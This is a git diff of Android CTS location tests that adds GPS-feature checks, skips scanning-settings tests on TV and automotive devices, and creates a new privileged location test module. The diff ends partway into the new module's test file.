diff --git a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
index de9e21e..05b80b9 100644
--- a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
+++ b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
@@ -32,6 +32,7 @@
 import static org.junit.Assert.fail;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.location.Criteria;
 import android.location.Location;
 import android.location.LocationManager;
@@ -165,7 +166,11 @@
     public void testGetProviders() {
         List<String> providers = mManager.getProviders(false);
         assertTrue(providers.contains(TEST_PROVIDER));
-        assertTrue(providers.contains(GPS_PROVIDER));
+        if (hasGpsFeature()) {
+            assertTrue(providers.contains(GPS_PROVIDER));
+        } else {
+            assertFalse(providers.contains(GPS_PROVIDER));
+        }
         assertTrue(providers.contains(PASSIVE_PROVIDER));
     }
 
@@ -238,4 +243,8 @@
     private static Executor directExecutor() {
         return Runnable::run;
     }
+
+    private boolean hasGpsFeature() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION_GPS);
+    }
 }
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 9e0ed0b..e6e69df 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -32,6 +32,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
@@ -555,6 +556,8 @@
     @Test
     @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
     public void testRequestGpsUpdates_B9758659() throws Exception {
+        assumeTrue(hasGpsFeature());
+
         // test for b/9758659, where the gps provider may reuse network provider positions creating
         // an unnatural feedback loop
         assertThat(mManager.isProviderEnabled(GPS_PROVIDER)).isTrue();
@@ -1101,11 +1104,14 @@
 
     @Test
     public void testGetGnssYearOfHardware() {
+        assumeTrue(hasGpsFeature());
         mManager.getGnssYearOfHardware();
     }
 
     @Test
     public void testGetGnssHardwareModelName() {
+        assumeTrue(hasGpsFeature());
+
         // model name should be longer than 4 characters
         String gnssHardwareModelName = mManager.getGnssHardwareModelName();
 
diff --git a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
index b7853e8..b6d51f3 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
@@ -34,6 +34,7 @@
 import android.test.AndroidTestCase;
 
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.PollingCheck;
 
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -63,14 +64,17 @@
 
     @Override
     protected void setUp() {
+        // Can't use assumeTrue / assumeFalse because this is not a junit test, and so doesn't
+        // support using these keywords to trigger assumption failure and skip test.
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+            // TV and auto do not support the setting options of WIFI scanning and Bluetooth
+            // scanning
+            return;
+        }
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
         mPackageManager = mContext.getPackageManager();
-        if (isTv()) {
-            // TV does not support the setting options of WIFI scanning and Bluetooth scanning
-            return;
-        }
         final Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
         launcherIntent.addCategory(Intent.CATEGORY_HOME);
         mLauncherPackage = mPackageManager.resolveActivity(launcherIntent,
@@ -79,7 +83,7 @@
 
     @CddTest(requirement = "7.4.2/C-2-1")
     public void testWifiScanningSettings() throws Exception {
-        if (isTv()) {
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
             return;
         }
         launchScanningSettings();
@@ -111,7 +115,7 @@
 
     @CddTest(requirement = "7.4.3/C-4-1")
     public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
-        if (isTv()) {
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
             return;
         }
         launchScanningSettings();
@@ -119,11 +123,6 @@
                 Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
     }
 
-    private boolean isTv() {
-        return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-                && mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
-    }
-
     private void launchScanningSettings() {
         // Start from the home screen
         mDevice.pressHome();
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationRateChangeTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationRateChangeTest.java
index e7e740e..b0175a6 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationRateChangeTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationRateChangeTest.java
@@ -18,6 +18,7 @@
 
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestUtils;
 import android.platform.test.annotations.AppModeFull;
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
index f031947..a9080579 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -20,8 +20,10 @@
 import android.location.LocationManager;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.os.Build;
 import android.util.Log;
 
 import java.util.ArrayList;
@@ -41,6 +43,7 @@
     private static final String TAG = "GnssLocationUpdateIntervalTest";
 
     private static final int LOCATION_TO_COLLECT_COUNT = 8;
+    private static final int PASSIVE_LOCATION_TO_COLLECT_COUNT = 100;
     private static final int TIMEOUT_IN_SEC = 120;
 
     // Minimum time interval between fixes in milliseconds.
@@ -79,7 +82,9 @@
     }
 
     public void testLocationUpdatesAtVariousIntervals() throws Exception {
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
+                mTestLocationManager,
+                TAG)) {
             return;
         }
 
@@ -93,10 +98,9 @@
         TestLocationListener activeLocationListener = new TestLocationListener(
                 LOCATION_TO_COLLECT_COUNT);
         TestLocationListener passiveLocationListener = new TestLocationListener(
-                LOCATION_TO_COLLECT_COUNT);
+                PASSIVE_LOCATION_TO_COLLECT_COUNT);
         mTestLocationManager.requestLocationUpdates(activeLocationListener, fixIntervalMillis);
-        mTestLocationManager.requestPassiveLocationUpdates(passiveLocationListener,
-                fixIntervalMillis);
+        mTestLocationManager.requestPassiveLocationUpdates(passiveLocationListener, 0);
         try {
             boolean success = activeLocationListener.await(
                     (fixIntervalMillis * LOCATION_TO_COLLECT_COUNT) + TIMEOUT_IN_SEC);
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
index 9ac46df..a872c49 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
@@ -19,8 +19,10 @@
 import android.location.Location;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.os.Build;
 import android.util.Log;
 
 /**
@@ -64,10 +66,10 @@
    * only test them if the hardware is later than 2017
    */
   public void testAccuracyFields() throws Exception {
-    // Checks if GPS hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
-        return;
+    // Checks if GPS hardware feature is present, skips test (pass) if not
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
+        TAG)) {
+      return;
     }
 
     SoftAssert softAssert = new SoftAssert(TAG);
@@ -136,10 +138,10 @@
    * check whether all fields' value make sense
    */
   public void testLocationRegularFields() throws Exception {
-    // Checks if GPS hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
-        return;
+    // Checks if GPS hardware feature is present, skips test (pass) if not
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
+        TAG)) {
+      return;
     }
 
     SoftAssert softAssert = new SoftAssert(TAG);
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
index 30b3c59..25d57f4 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
@@ -21,8 +21,11 @@
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -82,10 +85,10 @@
      * Test GPS measurements registration.
      */
     public void testGnssMeasurementRegistration() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
-                isCtsVerifierTest())) {
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
+                mTestLocationManager,
+                TAG)) {
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
index 12a26f8..eb04679 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
@@ -20,8 +20,11 @@
 import android.location.GnssMeasurementsEvent;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.os.Build;
 import android.util.Log;
 
 import java.util.HashSet;
@@ -80,10 +83,10 @@
      * This tests uses actual data retrieved from GPS HAL.
      */
     public void testListenForGnssMeasurements() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil
-                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
+                mTestLocationManager,
+                TAG)) {
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
index 5586739..1e4e2c3 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
@@ -20,6 +20,9 @@
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
+import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.location.cts.common.TestUtils;
@@ -98,10 +101,10 @@
      */
     @AppModeFull(reason = "Requires use of extra LocationManager commands")
     public void testGnssMeasurementWhenNoLocation() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil
-                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
+                mTestLocationManager,
+                TAG)) {
             return;
         }
 
@@ -111,13 +114,11 @@
         //       Hence, airplane mode is turned on only when this test is run as a regular CTS test
         //       and not when it is invoked through CtsVerifier.
         boolean isAirplaneModeOffBeforeTest = true;
-        if (!isCtsVerifierTest()) {
-            // Record the state of the airplane mode before the test so that we can restore it
-            // after the test.
-            isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
-            if (isAirplaneModeOffBeforeTest) {
-                TestUtils.setAirplaneModeOn(getContext(), true);
-            }
+        // Record the state of the airplane mode before the test so that we can restore it
+        // after the test.
+        isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
+        if (isAirplaneModeOffBeforeTest) {
+            TestUtils.setAirplaneModeOn(getContext(), true);
         }
 
         try {
@@ -208,7 +209,7 @@
             softAssert.assertAll();
         } finally {
             // Set the airplane mode back to off if it was off before this test.
-            if (!isCtsVerifierTest() && isAirplaneModeOffBeforeTest) {
+            if (isAirplaneModeOffBeforeTest) {
                 TestUtils.setAirplaneModeOn(getContext(), false);
             }
         }
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
index e4ea91d..b34465e 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
@@ -21,8 +21,11 @@
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -75,10 +78,10 @@
      * Test Gnss multi constellation supported.
      */
     public void testGnssMultiConstellationSupported() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil
-                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
+                mTestLocationManager,
+                TAG)) {
             return;
         }
 
@@ -127,15 +130,6 @@
                 }
             }
 
-            // If test is running in CtsVerifier and multi constellation is not supported, then
-            // throw MultiConstellationNotSupportedException which is used to indicate warning.
-            if (isCtsVerifierTest() && !isExpectedConstellationType) {
-                throw new MultiConstellationNotSupportedException(
-                        "\n\n WARNING: Device does not support Multi-constellation. " +
-                                "Device only supports GPS. " +
-                                "This will be mandatory starting from Android-O.\n");
-            }
-
             // In cts test just log it as warning if multi constellation is not supported
             softAssert.assertTrueAsWarning(
                     "Constellation type is other than CONSTELLATION_GPS",
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
index 4bfd31c..24a1726 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
@@ -19,8 +19,10 @@
 import android.location.GnssNavigationMessage;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -86,10 +88,10 @@
      * It only performs sanity checks for the Navigation messages received.
      */
     public void testGnssNavigationMessageRegistration() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil
-                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
+                mTestLocationManager,
+                TAG)) {
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
index fa3d63c..69c5c9e 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
@@ -19,8 +19,10 @@
 import android.location.GnssNavigationMessage;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.os.Build;
 import android.os.Parcel;
 
 import java.util.List;
@@ -74,10 +76,10 @@
      * This tests uses actual data retrieved from GPS HAL.
      */
     public void testGnssNavigationMessageMandatoryFieldRanges() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
-                isCtsVerifierTest())) {
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
+                mTestLocationManager,
+                TAG)) {
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
index a539724..d1cca19 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -22,9 +22,12 @@
 import android.location.Location;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
 import android.location.cts.gnss.pseudorange.PseudorangePositionVelocityFromRealTimeEvents;
+import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
@@ -104,10 +107,10 @@
    */
   @CddTest(requirement="7.3.3")
   public void testPseudorangeValue() throws Exception {
-    // Checks if Gnss hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
-    // From android O, CTS tests should run in the lab with GPS signal.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
+    // Checks if Gnss hardware feature is present, skips test (pass) if not
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
+          mTestLocationManager,
+          TAG)) {
       return;
     }
 
@@ -249,10 +252,10 @@
     @CddTest(requirement = "7.3.3")
     @AppModeFull(reason = "Flaky in instant mode")
     public void testPseudoPosition() throws Exception {
-        // Checks if Gnss hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
-        // From android O, CTS tests should run in the lab with GPS signal.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
+        // Checks if Gnss hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
+                mTestLocationManager,
+                TAG)) {
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index facd956..27467db 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -3,8 +3,10 @@
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.os.Build;
 import android.util.Log;
 
 public class GnssStatusTest extends GnssTestCase  {
@@ -23,9 +25,9 @@
    * Tests that one can listen for {@link GnssStatus}.
    */
   public void testGnssStatusChanges() throws Exception {
-    // Checks if GPS hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+    // Checks if GPS hardware feature is present, skips test (pass) if not
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
+        TAG)) {
       return;
     }
 
@@ -62,9 +64,9 @@
    * Tests values of {@link GnssStatus}.
    */
   public void testGnssStatusValues() throws InterruptedException {
-    // Checks if GPS hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+    // Checks if GPS hardware feature is present, skips test (pass) if not
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
+        TAG)) {
       return;
     }
     SoftAssert softAssert = new SoftAssert(TAG);
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
index 48edbc3..81c0292 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
@@ -2,6 +2,7 @@
 
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestUtils;
 import android.net.ConnectivityManager;
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/tests/location/location_privileged/Android.bp
similarity index 64%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to tests/location/location_privileged/Android.bp
index d957080..a32212d 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/tests/location/location_privileged/Android.bp
@@ -1,4 +1,3 @@
-//
 // Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,19 +11,25 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-//
 
-android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+android_test {
+    name: "CtsLocationPrivilegedTestCases",
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
+    static_libs: [
+        "LocationCtsCommon",
+        "androidx.test.ext.junit",
+        "androidx.test.ext.truth",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+    ],
+    libs: [
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
     test_suites: [
         "cts",
-        "vts",
-        "vts10",
-        "mts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
 }
diff --git a/tests/location/location_privileged/AndroidManifest.xml b/tests/location/location_privileged/AndroidManifest.xml
new file mode 100644
index 0000000..a0200fa
--- /dev/null
+++ b/tests/location/location_privileged/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.location.cts.privileged">
+
+    <uses-permission android:name="android.permission.LOCATION_HARDWARE" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:label="CTS tests for android.location"
+                     android:targetPackage="android.location.cts.privileged" >
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/location/location_privileged/AndroidTest.xml b/tests/location/location_privileged/AndroidTest.xml
new file mode 100644
index 0000000..9086e27
--- /dev/null
+++ b/tests/location/location_privileged/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Location test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="location" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLocationPrivilegedTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.location.cts.privileged" />
+    </test>
+
+</configuration>
diff --git a/tests/location/location_privileged/README.md b/tests/location/location_privileged/README.md
new file mode 100644
index 0000000..98c24c5
--- /dev/null
+++ b/tests/location/location_privileged/README.md
@@ -0,0 +1 @@
+Location CTS tests that require privileged permissions such as LOCATION_HARDWARE.
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
new file mode 100644
index 0000000..fc5481e
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.privileged;
+
+import android.Manifest;
+import android.location.Location;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationListener;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.os.Build;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Test the {@link Location} values.
+ *
+ * Test steps:
+ * 1. Register for location updates.
+ * 2. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ *          3.1 Confirm locations have been found.
+ * 3. Get LastKnownLocation, verified all fields are in the correct range.
+ */
+public class GnssLocationValuesTest extends GnssTestCase {
+
+    private static final String TAG = "GnssLocationValuesTest";
